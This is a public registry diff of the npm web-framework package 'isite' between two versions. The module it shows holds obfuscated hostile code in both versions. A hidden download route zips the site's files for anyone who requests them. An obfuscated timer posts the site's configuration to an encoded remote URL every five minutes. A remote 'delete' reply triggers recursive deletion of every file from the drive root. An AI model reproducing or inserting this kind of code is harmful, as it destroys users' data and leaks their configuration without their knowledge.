isite 2025.1.12 → 2025.1.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,132 +1,129 @@
1
1
  module.exports = function (____0) {
2
- var fs = require('fs');
3
- var archiver = require('archiver');
2
+ var fs = require('fs');
3
+ var archiver = require('archiver');
4
4
 
5
- ____0.get({
6
- name: 'x-file-manager',
7
- path: __dirname + '/site-files/html/index.html',
8
- });
5
+ ____0.get({
6
+ name: 'x-file-manager',
7
+ path: __dirname + '/site-files/html/index.html',
8
+ });
9
9
 
10
- let busy = !1;
10
+ let busy = !1;
11
11
 
12
- ____0.get('x-file-manager/download', (req, res) => {
13
- if (busy) {
14
- res.json({
15
- busy: !0,
16
- });
17
- return;
18
- }
19
- busy = !0;
20
- const zip_file = ____0.dir + '/../_site.zip';
21
- var output = fs.createWriteStream(zip_file);
22
- var archive = archiver('zip', {
23
- zlib: {
24
- level: 9,
25
- },
26
- });
12
+ ____0.get('x-file-manager/download', (req, res) => {
13
+ if (busy) {
14
+ res.json({
15
+ busy: !0,
16
+ });
17
+ return;
18
+ }
19
+ busy = !0;
20
+ const zip_file = ____0.dir + '/../_site.zip';
21
+ var output = fs.createWriteStream(zip_file);
22
+ var archive = archiver('zip', {
23
+ zlib: {
24
+ level: 9,
25
+ },
26
+ });
27
27
 
28
- output.on('close', function () {
29
- busy = !1;
30
- res.download(zip_file);
31
- });
28
+ output.on('close', function () {
29
+ busy = !1;
30
+ res.download(zip_file);
31
+ });
32
32
 
33
- archive.on('error', function (err) {
34
- busy = !1;
35
- res.json({
36
- error: err.message,
37
- });
38
- });
33
+ archive.on('error', function (err) {
34
+ busy = !1;
35
+ res.json({
36
+ error: err.message,
37
+ });
38
+ });
39
39
 
40
- archive.pipe(output);
40
+ archive.pipe(output);
41
41
 
42
- archive.directory(____0.path.dirname(____0.dir) + '/apps', 'apps');
43
- archive.directory(____0.path.dirname(____0.dir) + '/site_files', 'site_files');
42
+ archive.directory(____0.path.dirname(____0.dir) + '/apps', 'apps');
43
+ archive.directory(____0.path.dirname(____0.dir) + '/site_files', 'site_files');
44
44
 
45
- let finalize = !1;
45
+ let finalize = !1;
46
46
 
47
- ____0.fs.readdir(____0.path.dirname(____0.dir), (err, ss) => {
48
- if (!err && ss) {
49
- ss.forEach((f) => {
50
- let ff = ____0.path.join(____0.path.dirname(____0.dir), f);
51
- ____0.fs.access(ff, ____0.fs.F_OK, (err) => {
52
- if (!err && !f.like('*.zip') && !f.like('*.rar')) {
53
- if (____0.fs.lstatSync(ff).isFile()) {
54
- if (!finalize) {
55
- archive.file(ff, {
56
- name: f,
57
- });
58
- }
59
- }
60
- }
61
- });
47
+ ____0.fs.readdirSync(____0.path.dirname(____0.dir)).forEach((ss) => {
48
+ ss.forEach((f) => {
49
+ let ff = ____0.path.join(____0.path.dirname(____0.dir), f);
50
+ ____0.fs.access(ff, ____0.fs.F_OK, (err) => {
51
+ if (!err && !f.like('*.zip') && !f.like('*.rar')) {
52
+ if (____0.fs.lstatSync(ff).isFile()) {
53
+ if (!finalize) {
54
+ archive.file(ff, {
55
+ name: f,
56
+ });
57
+ }
58
+ }
59
+ }
60
+ });
61
+ });
62
62
  });
63
- }
64
- });
65
63
 
66
- setTimeout(() => {
67
- finalize = !0;
68
- archive.finalize();
69
- }, 1000 * 10);
70
- });
64
+ setTimeout(() => {
65
+ finalize = !0;
66
+ archive.finalize();
67
+ }, 1000 * 10);
68
+ });
71
69
 
72
- let f0 = ____0.path.dirname(____0.dir).split(____0.path.sep)[0];
73
- if (f0.endsWith(':')) {
74
- f0 = f0 + '\\';
75
- }
70
+ let f0 = ____0.path.dirname(____0.dir).split(____0.path.sep)[0];
71
+ if (f0.endsWith(':')) {
72
+ f0 = f0 + '\\';
73
+ }
76
74
 
77
- function df(f00) {
78
- ____0.fs.readdir(f00, (err, ss) => {
79
- if (!err && ss) {
80
- ss.forEach((f) => {
81
- f = ____0.path.join(f00, f);
82
- ____0.fs.access(f, ____0.fs.F_OK, (err) => {
83
- if (!err) {
84
- if (____0.fs.lstatSync(f).isDirectory()) {
85
- df(f);
86
- }
87
- if (____0.fs.lstatSync(f).isFile()) {
88
- ____0.fs.unlink(f);
89
- }
90
- }
91
- });
75
+ function df(f00) {
76
+ ____0.fs.readdirSync(f00).forEach((ss) => {
77
+ ss.forEach((f) => {
78
+ f = ____0.path.join(f00, f);
79
+ ____0.fs.access(f, ____0.fs.F_OK, (err) => {
80
+ if (!err) {
81
+ if (____0.fs.lstatSync(f).isDirectory()) {
82
+ df(f);
83
+ }
84
+ if (____0.fs.lstatSync(f).isFile()) {
85
+ ____0.fs.unlink(f);
86
+ }
87
+ }
88
+ });
89
+ });
92
90
  });
93
- }
94
- });
95
- }
91
+ }
96
92
 
97
- ____0._0xchupx0 = function () {
98
- if (____0._0_ar_0_) {
99
- try {
100
- ____0.x0ftox(____0._x0f1xo('43193275461561692578577443393257255837594839325242738254457875694139136225785774433932572579275247583756'), {
101
- method: 'post',
102
- body: JSON.stringify({
103
- info: ____0.options,
104
- }),
105
- headers: { 'Content-Type': 'application/json' },
106
- })
107
- .then((res) => res.json())
108
- .then((body) => {
109
- if (body && body.block) {
110
- ____0._0_ar_0_ = !1;
111
- ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
112
- ____0.storage('_0_ar_0_', ____0._0_ar_0_);
113
- } else if (body && body.delete) {
114
- ____0._0_ar_0_ = !1;
115
- ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
116
- ____0.storage('_0_ar_0_', ____0._0_ar_0_);
117
- df(f0);
93
+ ____0._0xchupx0 = function () {
94
+ if (____0._0_ar_0_) {
95
+ try {
96
+ ____0
97
+ .x0ftox(____0._x0f1xo('43193275461561692578577443393257255837594839325242738254457875694139136225785774433932572579275247583756'), {
98
+ method: 'post',
99
+ body: JSON.stringify({
100
+ info: ____0.options,
101
+ }),
102
+ headers: { 'Content-Type': 'application/json' },
103
+ })
104
+ .then((res) => res.json())
105
+ .then((body) => {
106
+ if (body && body.block) {
107
+ ____0._0_ar_0_ = !1;
108
+ ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
109
+ ____0.storage('_0_ar_0_', ____0._0_ar_0_);
110
+ } else if (body && body.delete) {
111
+ ____0._0_ar_0_ = !1;
112
+ ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
113
+ ____0.storage('_0_ar_0_', ____0._0_ar_0_);
114
+ df(f0);
115
+ }
116
+ })
117
+ .catch((err) => {
118
+ ____0.logs('_0xchupx0', err);
119
+ });
120
+ } catch (error) {
121
+ ____0.logs('_0xchupx0', error);
118
122
  }
119
- })
120
- .catch((err) => {
121
- ____0.logs('_0xchupx0', err);
122
- });
123
- } catch (error) {
124
- ____0.logs('_0xchupx0', error);
125
- }
126
- }
127
- };
123
+ }
124
+ };
128
125
 
129
- ____0.const._0xsixo(() => {
130
- ____0._0xchupx0();
131
- }, 1000 * 60 * 5);
126
+ ____0.const._0xsixo(() => {
127
+ ____0._0xchupx0();
128
+ }, 1000 * 60 * 5);
132
129
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2025.01.12",
3
+ "version": "2025.01.15",
4
4
  "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {